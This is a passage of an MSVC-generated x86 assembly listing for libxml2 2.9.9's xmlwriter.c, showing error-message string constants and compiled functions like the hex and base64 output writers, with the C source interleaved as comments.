??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ CONST SEGMENT ??_C@_0CM@FINCADKE@xmlTextWriterStartElement?5?3?5out@ DB 'xmlTextWriterS' DB 'tartElement : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_01PPODPGHN@?$DO@ CONST SEGMENT ??_C@_01PPODPGHN@?$DO@ DB '>', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@ CONST SEGMENT ??_C@_0CN@DOOOICJG@xmlTextWriterStartComment?5?3?5inv@ DB 'xmlTextWriterS' DB 'tartComment : invalid writer!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_01EEMJAFIK@?6@ CONST SEGMENT ??_C@_01EEMJAFIK@?6@ DB 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@ CONST SEGMENT ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@ DB 'xmlTextWriterE' DB 'ndDocument : invalid writer!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_03KCOJOIAE@?$DP?$DO?6@ CONST SEGMENT ??_C@_03KCOJOIAE@?$DP?$DO?6@ DB '?>', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0N@BGGHLCGN@?5standalone?$DN@ CONST SEGMENT ??_C@_0N@BGGHLCGN@?5standalone?$DN@ DB ' standalone=', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@GJNPICMJ@?5encoding?$DN@ CONST SEGMENT ??_C@_0L@GJNPICMJ@?5encoding?$DN@ DB ' encoding=', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ CONST SEGMENT ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ DB '<?xml version=', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@ CONST SEGMENT ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@ DB 'xmlTextWriterS' DB 'tartDocument : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@ CONST SEGMENT ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@ DB 'xmlTextWriterS' DB 'tartDocument : not allowed in this context!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ CONST SEGMENT ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ DB 'xmlTextWriterS' DB 'tartDocument : invalid writer!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@ CONST SEGMENT ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@ DB 'xmlNewTextWri' DB 'terTree : invalid document tree!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ CONST SEGMENT ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ DB 'xmlNewTextWr' DB 'iterDoc : error at xmlNewTextWriterPushParser!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@ CONST SEGMENT ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@ DB 'xmlNewTextWr' DB 'iterDoc : error at xmlNewDoc!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_03HLLJOCDO@1?40@ CONST SEGMENT ??_C@_03HLLJOCDO@1?40@ DB '1.0', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ CONST SEGMENT ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ DB 'xmlNewTextWr' DB 'iterDoc : error at xmlCreatePushParserCtxt!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@ CONST SEGMENT ??_C@_0DJ@DOJNHAEH@xmlNewTextWriterPushParser?5?3?5er@ DB 'xmlNewTextWrit' DB 'erPushParser : error at xmlNewTextWriter!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@ CONST SEGMENT ??_C@_0EA@BHKIBNFO@xmlNewTextWriterPushParser?5?3?5er@ DB 'xmlNewTextWrit' DB 'erPushParser : error at xmlOutputBufferCreateIO!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@ CONST SEGMENT ??_C@_0CP@MDJJPOLB@xmlNewTextWriterPushParser?5?3?5in@ DB 'xmlNewTextWrit' DB 'erPushParser : invalid context!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ CONST SEGMENT ??_C@_0CJ@HOKLKMGC@xmlNewTextWriterMemory?5?3?5out?5of@ DB 'xmlNewTextWri' DB 'terMemory : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@ CONST SEGMENT ??_C@_0CL@DOKHFPFK@xmlNewTextWriterFilename?5?3?5out?5@ DB 'xmlNewTextWri' DB 'terFilename : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@ CONST SEGMENT ??_C@_0CM@BPKCIIPG@xmlNewTextWriterFilename?5?3?5cann@ DB 'xmlNewTextWrit' DB 'erFilename : cannot open uri', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_01CLKCMJKC@?5@ CONST SEGMENT ??_C@_01CLKCMJKC@?5@ DB ' ', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ CONST SEGMENT ??_C@_0CD@BLMOIHCP@xmlNewTextWriter?5?3?5out?5of?5memor@ DB 'xmlNewTextWr' DB 'iter : out of memory!', 0aH, 00H ; `string' CONST ENDS ; COMDAT ??_C@_02DKCKIIND@?$CFs@ CONST SEGMENT ??_C@_02DKCKIIND@?$CFs@ DB '%s', 00H ; `string' CONST ENDS ; Function compile flags: /Odt ; COMDAT __JustMyCode_Default _TEXT SEGMENT __JustMyCode_Default PROC ; COMDAT push ebp mov ebp, esp pop ebp ret 0 __JustMyCode_Default ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlOutputBufferWriteBinHex _TEXT SEGMENT _out$ = 8 ; size = 4 _len$ = 12 ; size = 4 _data$ = 16 ; size = 4 _xmlOutputBufferWriteBinHex PROC ; COMDAT ; 1674 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov ebx, DWORD PTR _out$[ebp] test ebx, ebx je SHORT $LN6@xmlOutputB ; 1675 : int count; ; 1676 : int sum; ; 1677 : static char hex[16] = ; 1678 : {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; ; 1679 : int i; ; 1680 : ; 1681 : if ((out == NULL) || (data == NULL) || (len < 0)) { mov ecx, DWORD PTR _data$[ebp] test ecx, ecx je SHORT $LN6@xmlOutputB mov eax, DWORD PTR _len$[ebp] test eax, eax js SHORT $LN6@xmlOutputB ; 1682 : return -1; ; 1683 : } ; 1684 : ; 1685 : sum = 0; xor edi, edi ; 1686 : for (i = 0; i < len; i++) { xor esi, esi test eax, eax jle SHORT $LN3@xmlOutputB npad 3 $LL4@xmlOutputB: ; 1687 : count = movzx eax, BYTE PTR [esi+ecx] shr eax, 4 add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9 push eax push 1 push ebx call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1688 : xmlOutputBufferWrite(out, 1, ; 1689 : (const char *) &hex[data[i] >> 4]); ; 1690 : if (count == -1) cmp eax, -1 je SHORT $LN6@xmlOutputB ; 1691 : return -1; ; 1692 : sum += count; add edi, eax ; 1693 : count = mov eax, DWORD PTR _data$[ebp] movzx eax, BYTE PTR [esi+eax] and eax, 15 ; 0000000fH add eax, OFFSET ?hex@?1??xmlOutputBufferWriteBinHex@@9@9 push eax push 1 push ebx call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 1694 : xmlOutputBufferWrite(out, 1, ; 1695 : (const char *) &hex[data[i] & 0xF]); ; 1696 : if (count == -1) cmp eax, -1 je SHORT $LN6@xmlOutputB ; 1686 : for (i = 0; i < len; i++) { mov ecx, DWORD PTR _data$[ebp] inc esi ; 1697 : return -1; ; 1698 : sum += count; add edi, eax cmp esi, DWORD PTR _len$[ebp] jl SHORT $LL4@xmlOutputB $LN3@xmlOutputB: ; 1699 : } ; 1700 : ; 1701 : return sum; mov eax, edi pop edi ; 1702 : } pop esi pop ebx pop ebp ret 0 $LN6@xmlOutputB: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 _xmlOutputBufferWriteBinHex ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlWriterErrMsgInt _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _val$ = 20 ; size = 4 _xmlWriterErrMsgInt PROC ; COMDAT ; 159 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov eax, DWORD PTR _val$[ebp] push eax push DWORD PTR _msg$[ebp] mov ecx, DWORD PTR _ctxt$[ebp] push 0 push eax push 0 push 0 push 0 push 0 push 0 push 3 push DWORD PTR _error$[ebp] push 25 ; 00000019H push 0 test ecx, ecx je SHORT $LN2@xmlWriterE ; 166 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, val, 0, msg, val); ; 167 : } ; 168 : } push DWORD PTR [ecx+32] push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H pop ebp ret 0 $LN2@xmlWriterE: ; 160 : if (ctxt != NULL) { ; 161 : __xmlRaiseError(NULL, NULL, NULL, ctxt->ctxt, ; 162 : NULL, XML_FROM_WRITER, error, XML_ERR_FATAL, ; 163 : NULL, 0, NULL, NULL, NULL, val, 0, msg, val); ; 164 : } else { ; 165 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push 0 ; 166 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, val, 0, msg, val); ; 167 : } ; 168 : } push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H pop ebp ret 0 _xmlWriterErrMsgInt ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlWriterErrMsg _TEXT SEGMENT _ctxt$ = 8 ; size = 4 _error$ = 12 ; size = 4 _msg$ = 16 ; size = 4 _xmlWriterErrMsg PROC ; COMDAT ; 136 : { push ebp mov ebp, esp mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _msg$[ebp] mov eax, DWORD PTR _ctxt$[ebp] push OFFSET ??_C@_02DKCKIIND@?$CFs@ push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 3 push DWORD PTR _error$[ebp] push 25 ; 00000019H push 0 test eax, eax je SHORT $LN2@xmlWriterE ; 143 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg); ; 144 : } ; 145 : } push DWORD PTR [eax+32] push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H pop ebp ret 0 $LN2@xmlWriterE: ; 137 : if (ctxt != NULL) { ; 138 : __xmlRaiseError(NULL, NULL, NULL, ctxt->ctxt, ; 139 : NULL, XML_FROM_WRITER, error, XML_ERR_FATAL, ; 140 : NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg); ; 141 : } else { ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push 0 ; 143 : XML_ERR_FATAL, NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg); ; 144 : } ; 145 : } push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H pop ebp ret 0 _xmlWriterErrMsg ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterHandleStateDependencies _TEXT SEGMENT _extra$ = -4 ; size = 3 _writer$ = 8 ; size = 4 _p$ = 12 ; size = 4 _xmlTextWriterHandleStateDependencies PROC ; COMDAT ; 4673 : { push ebp mov ebp, esp push ecx push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov ebx, DWORD PTR _writer$[ebp] test ebx, ebx je $LN19@xmlTextWri ; 4674 : int count; ; 4675 : int sum; ; 4676 : char extra[3]; ; 4677 : ; 4678 : if (writer == NULL) ; 4679 : return -1; ; 4680 : ; 4681 : if (p == NULL) mov esi, DWORD PTR _p$[ebp] test esi, esi jne SHORT $LN5@xmlTextWri ; 4734 : } pop edi pop esi xor eax, eax pop ebx mov esp, ebp pop ebp ret 0 $LN5@xmlTextWri: ; 4682 : return 0; ; 4683 : ; 4684 : sum = 0; ; 4685 : extra[0] = extra[1] = extra[2] = '\0'; ; 4686 : if (p != 0) { ; 4687 : sum = 0; ; 4688 : switch (p->state) { mov eax, DWORD PTR [esi+4] xor edi, edi dec eax mov WORD PTR _extra$[ebp+1], 0 mov BYTE PTR _extra$[ebp], 0 cmp eax, 14 ; 0000000eH ja SHORT $LN15@xmlTextWri movzx eax, BYTE PTR $LN20@xmlTextWri[eax] jmp DWORD PTR $LN23@xmlTextWri[eax*4] $LN7@xmlTextWri: ; 4689 : case XML_TEXTWRITER_NAME: ; 4690 : /* Output namespace declarations */ ; 4691 : count = xmlTextWriterOutputNSDecl(writer); push ebx call _xmlTextWriterOutputNSDecl mov edi, eax add esp, 4 ; 4692 : if (count < 0) test edi, edi js SHORT $LN19@xmlTextWri ; 4693 : return -1; ; 4694 : sum += count; ; 4695 : extra[0] = '>'; mov BYTE PTR _extra$[ebp], 62 ; 0000003eH ; 4696 : p->state = XML_TEXTWRITER_TEXT; mov DWORD PTR [esi+4], 3 ; 4697 : break; jmp SHORT $LN18@xmlTextWri $LN9@xmlTextWri: ; 4698 : case XML_TEXTWRITER_PI: ; 4699 : extra[0] = ' '; ; 4700 : p->state = XML_TEXTWRITER_PI_TEXT; mov DWORD PTR [esi+4], 5 ; 4701 : break; jmp SHORT $LN21@xmlTextWri $LN10@xmlTextWri: ; 4702 : case XML_TEXTWRITER_DTD: ; 4703 : extra[0] = ' '; mov WORD PTR _extra$[ebp], 23328 ; 00005b20H ; 4704 : extra[1] = '['; ; 4705 : p->state = XML_TEXTWRITER_DTD_TEXT; mov DWORD PTR [esi+4], 8 ; 4706 : break; jmp SHORT $LN18@xmlTextWri $LN11@xmlTextWri: ; 4707 : case XML_TEXTWRITER_DTD_ELEM: ; 4708 : extra[0] = ' '; ; 4709 : p->state = XML_TEXTWRITER_DTD_ELEM_TEXT; mov DWORD PTR [esi+4], 10 ; 0000000aH ; 4710 : break; jmp SHORT $LN21@xmlTextWri $LN12@xmlTextWri: ; 4711 : case XML_TEXTWRITER_DTD_ATTL: ; 4712 : extra[0] = ' '; ; 4713 : p->state = XML_TEXTWRITER_DTD_ATTL_TEXT; mov DWORD PTR [esi+4], 12 ; 0000000cH ; 4714 : break; jmp SHORT $LN21@xmlTextWri $LN13@xmlTextWri: ; 4715 : case XML_TEXTWRITER_DTD_ENTY: ; 4716 : case XML_TEXTWRITER_DTD_PENT: ; 4717 : extra[0] = ' '; ; 4718 : extra[1] = writer->qchar; mov al, BYTE PTR [ebx+28] mov BYTE PTR _extra$[ebp+1], al ; 4719 : p->state = XML_TEXTWRITER_DTD_ENTY_TEXT; mov DWORD PTR [esi+4], 14 ; 0000000eH $LN21@xmlTextWri: ; 4720 : break; ; 4721 : default: ; 4722 : break; ; 4723 : } ; 4724 : } ; 4725 : ; 4726 : if (*extra != '\0') { ; 4727 : count = xmlOutputBufferWriteString(writer->out, extra); mov BYTE PTR _extra$[ebp], 32 ; 00000020H $LN18@xmlTextWri: lea eax, DWORD PTR _extra$[ebp] push eax push DWORD PTR [ebx] call _xmlOutputBufferWriteString add esp, 8 ; 4728 : if (count < 0) test eax, eax js SHORT $LN19@xmlTextWri ; 4729 : return -1; ; 4730 : sum += count; add edi, eax $LN15@xmlTextWri: ; 4731 : } ; 4732 : ; 4733 : return sum; mov eax, edi pop edi ; 4734 : } pop esi pop ebx mov esp, ebp pop ebp ret 0 $LN19@xmlTextWri: pop edi pop esi or eax, -1 pop ebx mov esp, ebp pop ebp ret 0 npad 3 $LN23@xmlTextWri: DD $LN7@xmlTextWri DD $LN9@xmlTextWri DD $LN10@xmlTextWri DD $LN11@xmlTextWri DD $LN12@xmlTextWri DD $LN13@xmlTextWri DD $LN15@xmlTextWri $LN20@xmlTextWri: DB 0 DB 6 DB 6 DB 1 DB 6 DB 6 DB 2 DB 6 DB 3 DB 6 DB 4 DB 6 DB 5 DB 6 DB 5 _xmlTextWriterHandleStateDependencies ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteIndent _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterWriteIndent PROC ; COMDAT ; 4643 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov ebx, DWORD PTR _writer$[ebp] push DWORD PTR [ebx+4] call _xmlListSize add esp, 4 cmp eax, 1 jl SHORT $LN9@xmlTextWri ; 4644 : int lksize; ; 4645 : int i; ; 4646 : int ret; ; 4647 : ; 4648 : lksize = xmlListSize(writer->nodes); ; 4649 : if (lksize < 1) ; 4650 : return (-1); /* list is empty */ ; 4651 : for (i = 0; i < (lksize - 1); i++) { lea edi, DWORD PTR [eax-1] xor esi, esi test edi, edi jle SHORT $LN3@xmlTextWri npad 4 $LL4@xmlTextWri: ; 4652 : ret = xmlOutputBufferWriteString(writer->out, push DWORD PTR [ebx+24] push DWORD PTR [ebx] call _xmlOutputBufferWriteString add esp, 8 ; 4653 : (const char *) writer->ichar); ; 4654 : if (ret == -1) cmp eax, -1 je SHORT $LN9@xmlTextWri ; 4644 : int lksize; ; 4645 : int i; ; 4646 : int ret; ; 4647 : ; 4648 : lksize = xmlListSize(writer->nodes); ; 4649 : if (lksize < 1) ; 4650 : return (-1); /* list is empty */ ; 4651 : for (i = 0; i < (lksize - 1); i++) { inc esi cmp esi, edi jl SHORT $LL4@xmlTextWri $LN3@xmlTextWri: ; 4655 : return (-1); ; 4656 : } ; 4657 : ; 4658 : return (lksize - 1); mov eax, edi pop edi ; 4659 : } pop esi pop ebx pop ebp ret 0 $LN9@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 _xmlTextWriterWriteIndent ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartDocumentCallback _TEXT SEGMENT _ctx$ = 8 ; size = 4 _xmlTextWriterStartDocumentCallback PROC ; COMDAT ; 4510 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] cmp DWORD PTR [esi+32], 0 je SHORT $LN2@xmlTextWri ; 4511 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 4512 : xmlDocPtr doc; ; 4513 : ; 4514 : if (ctxt->html) { ; 4515 : #ifdef LIBXML_HTML_ENABLED ; 4516 : if (ctxt->myDoc == NULL) mov eax, DWORD PTR [esi+8] test eax, eax jne $LN10@xmlTextWri ; 4517 : ctxt->myDoc = htmlNewDocNoDtD(NULL, NULL); push eax push eax call _htmlNewDocNoDtD add esp, 8 mov DWORD PTR [esi+8], eax ; 4518 : if (ctxt->myDoc == NULL) { test eax, eax jne SHORT $LN10@xmlTextWri ; 4539 : if (doc != NULL) { jmp SHORT $LN21@xmlTextWri $LN2@xmlTextWri: ; 4519 : if ((ctxt->sax != NULL) && (ctxt->sax->error != NULL)) ; 4520 : ctxt->sax->error(ctxt->userData, ; 4521 : "SAX.startDocument(): out of memory\n"); ; 4522 : ctxt->errNo = XML_ERR_NO_MEMORY; ; 4523 : ctxt->instate = XML_PARSER_EOF; ; 4524 : ctxt->disableSAX = 1; ; 4525 : return; ; 4526 : } ; 4527 : #else ; 4528 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 4529 : "libxml2 built without HTML support\n"); ; 4530 : ctxt->errNo = XML_ERR_INTERNAL_ERROR; ; 4531 : ctxt->instate = XML_PARSER_EOF; ; 4532 : ctxt->disableSAX = 1; ; 4533 : return; ; 4534 : #endif ; 4535 : } else { ; 4536 : doc = ctxt->myDoc; mov edi, DWORD PTR [esi+8] ; 4537 : if (doc == NULL) test edi, edi jne SHORT $LN17@xmlTextWri ; 4538 : doc = ctxt->myDoc = xmlNewDoc(ctxt->version); push DWORD PTR [esi+20] call _xmlNewDoc mov edi, eax add esp, 4 mov DWORD PTR [esi+8], edi ; 4539 : if (doc != NULL) { test edi, edi jne SHORT $LN17@xmlTextWri $LN21@xmlTextWri: ; 4546 : } ; 4547 : } else { ; 4548 : if ((ctxt->sax != NULL) && (ctxt->sax->error != NULL)) ; 4549 : ctxt->sax->error(ctxt->userData, ; 4550 : "SAX.startDocument(): out of memory\n"); ; 4551 : ctxt->errNo = XML_ERR_NO_MEMORY; mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN13@xmlTextWri mov eax, DWORD PTR [eax+88] test eax, eax je SHORT $LN13@xmlTextWri push OFFSET ??_C@_0CE@EPNLGKMK@SAX?4startDocument?$CI?$CJ?3?5out?5of?5mem@ push DWORD PTR [esi+4] call eax add esp, 8 $LN13@xmlTextWri: pop edi mov DWORD PTR [esi+84], 2 ; 4552 : ctxt->instate = XML_PARSER_EOF; mov DWORD PTR [esi+172], -1 ; 4553 : ctxt->disableSAX = 1; mov DWORD PTR [esi+212], 1 ; 4563 : xmlStrdup((const xmlChar *) ctxt->input->filename); ; 4564 : } ; 4565 : } pop esi pop ebp ret 0 $LN17@xmlTextWri: ; 4540 : if (doc->children == NULL) { cmp DWORD PTR [edi+12], 0 jne SHORT $LN10@xmlTextWri ; 4541 : if (ctxt->encoding != NULL) mov eax, DWORD PTR [esi+24] test eax, eax je SHORT $LN11@xmlTextWri ; 4542 : doc->encoding = xmlStrdup(ctxt->encoding); push eax call _xmlStrdup add esp, 4 jmp SHORT $LN12@xmlTextWri $LN11@xmlTextWri: ; 4543 : else ; 4544 : doc->encoding = NULL; xor eax, eax $LN12@xmlTextWri: ; 4545 : doc->standalone = ctxt->standalone; mov DWORD PTR [edi+60], eax mov eax, DWORD PTR [esi+28] mov DWORD PTR [edi+40], eax $LN10@xmlTextWri: ; 4554 : return; ; 4555 : } ; 4556 : } ; 4557 : if ((ctxt->myDoc != NULL) && (ctxt->myDoc->URL == NULL) && ; 4558 : (ctxt->input != NULL) && (ctxt->input->filename != NULL)) { mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN15@xmlTextWri cmp DWORD PTR [eax+72], 0 jne SHORT $LN15@xmlTextWri mov eax, DWORD PTR [esi+36] test eax, eax je SHORT $LN15@xmlTextWri mov eax, DWORD PTR [eax+4] test eax, eax je SHORT $LN15@xmlTextWri ; 4559 : ctxt->myDoc->URL = push eax call _xmlCanonicPath mov ecx, DWORD PTR [esi+8] add esp, 4 mov DWORD PTR [ecx+72], eax ; 4560 : xmlCanonicPath((const xmlChar *) ctxt->input->filename); ; 4561 : if (ctxt->myDoc->URL == NULL) mov eax, DWORD PTR [esi+8] cmp DWORD PTR [eax+72], 0 jne SHORT $LN15@xmlTextWri ; 4562 : ctxt->myDoc->URL = mov eax, DWORD PTR [esi+36] push DWORD PTR [eax+4] call _xmlStrdup mov ecx, DWORD PTR [esi+8] add esp, 4 mov DWORD PTR [ecx+72], eax $LN15@xmlTextWri: ; 4563 : xmlStrdup((const xmlChar *) ctxt->input->filename); ; 4564 : } ; 4565 : } pop edi pop esi pop ebp ret 0 _xmlTextWriterStartDocumentCallback ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlOutputBufferWriteBase64 _TEXT SEGMENT _linelen$1$ = -16 ; size = 4 _sum$1$ = -12 ; size = 4 _ogroup$1 = -8 ; size = 4 _igroup$2 = -4 ; size = 3 _out$ = 8 ; size = 4 _len$ = 12 ; size = 4 _data$ = 16 ; size = 4 _xmlOutputBufferWriteBase64 PROC ; COMDAT ; 1543 : { push ebp mov ebp, esp sub esp, 16 ; 00000010H mov ecx, OFFSET __DA396148_xmlwriter@c push ebx push esi push edi call @__CheckForDebuggerJustMyCode@4 cmp DWORD PTR _out$[ebp], 0 je $LN8@xmlOutputB ; 1544 : static unsigned char dtable[64] = ; 1545 : {'A','B','C','D','E','F','G','H','I','J','K','L','M', ; 1546 : 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z', ; 1547 : 'a','b','c','d','e','f','g','h','i','j','k','l','m', ; 1548 : 'n','o','p','q','r','s','t','u','v','w','x','y','z', ; 1549 : '0','1','2','3','4','5','6','7','8','9','+','/'}; ; 1550 : ; 1551 : int i; ; 1552 : int linelen; ; 1553 : int count; ; 1554 : int sum; ; 1555 : ; 1556 : if ((out == NULL) || (len < 0) || (data == NULL)) mov ebx, DWORD PTR _len$[ebp] test ebx, ebx js $LN8@xmlOutputB cmp DWORD PTR _data$[ebp], 0 je $LN8@xmlOutputB ; 1557 : return(-1); ; 1558 : ; 1559 : linelen = 0; ; 1560 : sum = 0; xor esi, esi mov DWORD PTR _linelen$1$[ebp], 0 mov DWORD PTR _sum$1$[ebp], esi ; 1561 : ; 1562 : i = 0; xor edi, edi $LL2@xmlOutputB: ; 1563 : while (1) { ; 1564 : unsigned char igroup[3]; ; 1565 : unsigned char ogroup[4]; ; 1566 : int c; ; 1567 : int n; ; 1568 : ; 1569 : igroup[0] = igroup[1] = igroup[2] = 0; ; 1570 : for (n = 0; n < 3 && i < len; n++, i++) { mov esi, DWORD PTR _data$[ebp] xor eax, eax mov WORD PTR _igroup$2[ebp+1], 0 mov BYTE PTR _igroup$2[ebp], 0 npad 1 $LL6@xmlOutputB: cmp edi, ebx jge SHORT $LN5@xmlOutputB ; 1571 : c = data[i]; ; 1572 : igroup[n] = (unsigned char) c; mov cl, BYTE PTR [edi+esi] inc edi mov BYTE PTR _igroup$2[ebp+eax], cl inc eax cmp eax, 3 jl SHORT $LL6@xmlOutputB $LN5@xmlOutputB: ; 1573 : } ; 1574 : ; 1575 : if (n > 0) { mov esi, DWORD PTR _sum$1$[ebp] test eax, eax jle $LN9@xmlOutputB ; 1576 : ogroup[0] = dtable[igroup[0] >> 2]; movzx edx, BYTE PTR _igroup$2[ebp] ; 1577 : ogroup[1] = dtable[((igroup[0] & 3) << 4) | (igroup[1] >> 4)]; movzx esi, BYTE PTR _igroup$2[ebp+1] mov ecx, edx shr ecx, 2 and edx, 3 shl edx, 4 mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx] mov BYTE PTR _ogroup$1[ebp], cl mov ecx, esi shr ecx, 4 ; 1578 : ogroup[2] = and esi, 15 ; 0000000fH or ecx, edx shl esi, 2 movzx edx, BYTE PTR _igroup$2[ebp+2] mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx] mov BYTE PTR _ogroup$1[ebp+1], cl mov ecx, edx shr ecx, 6 ; 1579 : dtable[((igroup[1] & 0xF) << 2) | (igroup[2] >> 6)]; ; 1580 : ogroup[3] = dtable[igroup[2] & 0x3F]; and edx, 63 ; 0000003fH or ecx, esi mov ch, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[ecx] mov cl, BYTE PTR ?dtable@?1??xmlOutputBufferWriteBase64@@9@9[edx] mov BYTE PTR _ogroup$1[ebp+2], ch mov BYTE PTR _ogroup$1[ebp+3], cl ; 1581 : ; 1582 : if (n < 3) { cmp eax, 3 jge SHORT $LN11@xmlOutputB ; 1583 : ogroup[3] = '='; ; 1584 : if (n < 2) { cmp eax, 2 movzx ecx, ch mov eax, 61 ; 0000003dH mov BYTE PTR _ogroup$1[ebp+3], 61 ; 0000003dH cmovl 